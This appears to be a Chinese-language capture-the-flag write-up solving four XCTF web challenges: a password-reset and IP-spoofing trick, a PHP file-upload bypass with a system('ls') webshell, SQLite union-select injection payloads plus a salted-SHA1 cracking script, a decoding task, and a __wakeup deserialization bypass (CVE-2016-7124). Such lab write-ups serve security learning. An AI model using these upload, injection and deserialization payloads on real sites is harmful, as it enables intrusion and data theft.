web攻防世界3

1.bug

题目提示注册,随便输个登录进去

web攻防世界3

点到manage界面提示不是管理员,

web攻防世界3

浏览几个选项感觉只有这个修改密码可以操作操作了,抓包修改密码界面,把这里的用户改成admin试试,提示密码小于六位,改一改

web攻防世界3

web攻防世界3

这里还需要伪造ip,即用x-forwarded-for即可

 修改成功,用admin登录,即能访问刚才的那个菜单,

web攻防世界3

猜测文件上传,传个马,

web攻防世界3

需要绕过,师傅们在这里上传了图片,改了内容,

并且这里后缀可使用.php4,.php5绕过,

加入

<script language='php'>system('ls')</script>

放包得到flag。

 

但现在这种<script language='php'>php表示方法好像已经灭绝了要...

2.FlatScience

web攻防世界3

 不晓得是什么东西,随便点点,这是什么论文啥玩意的吧...

web攻防世界3

输入几个常见后台发现,login.php和admin.php有结果,

web攻防世界3

查看源码发现不让绕过...那就听你的,

web攻防世界3

发现login源码中有

web攻防世界3

url跟上?debug得到源码:

web攻防世界3

发现sql语句

web攻防世界3

在login中输入注入语句,出现

web攻防世界3

看了wp说是SQLite数据库的注入,SQLite数据库中有一个叫SQLite_master的表它定义数据库的模式。

抓包,对username进行注入语句

usr=' union select name,sql from sqlite_master--+&pw=

在set-cookie中发现

web攻防世界3

整理一下,set-cookie就是

CREATE TABLE Users(

id int primary key,

name varchar(255),

password varchar(255),

hint varchar(255)

发现表名和字段

继续用usr进行字段的获取,


usr=%27 UNION SELECT id, id from Users limit 0,1
usr=%27 UNION SELECT id, name from Users limit 0,1
usr=%27 UNION SELECT id, password from Users limit 0,1
usr=%27 UNION SELECT id, hint from Users limit 0,1

可以得到这些数据,

web攻防世界3

根据hint猜测favword藏在前面看到的pdf里面,需要写个脚本,把里面的词都给提取出来,拼接上”Salz!”然后sha1加密,看看是否跟3fab54a50e770d830c0416df817567662a9dc85c相等。

把PDF都down下来,

附上大爹们的脚本


from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print "Searching word in " + i
        pdf_text = convert_pdf_2_text(i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
            if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
                print "Find the password :" + word
                exit()
 
if __name__ == "__main__":
    find_password()
跑得出flag.

3.web2

打开发现源码

web攻防世界3

提示还是很有意思的

审计源码:反转字符串->循环字符串长度->从$_0位置开始,返回1个字符->返回字符串首个字母的ASCII值->拼接两个变量的内容 赋值->base64,strrev,rot13

将这个顺序反过来编码,即

web攻防世界3

 web攻防世界3

4.unserialize3

源码:

web攻防世界3

这里用到了—wakeup()绕过

__wakeup()执行漏洞:一个字符串或对象被序列化后,如果其属性被修改,则不会执行__wakeup()函数。

参考CVE-2016-7124

序列化后值为:O:4:"xctf":2:{s:4:"flag";s:3:"111";}

传进去即得

web攻防世界3

关于序列化反序列化参考:

https://www.2cto.com/article/201610/557427.html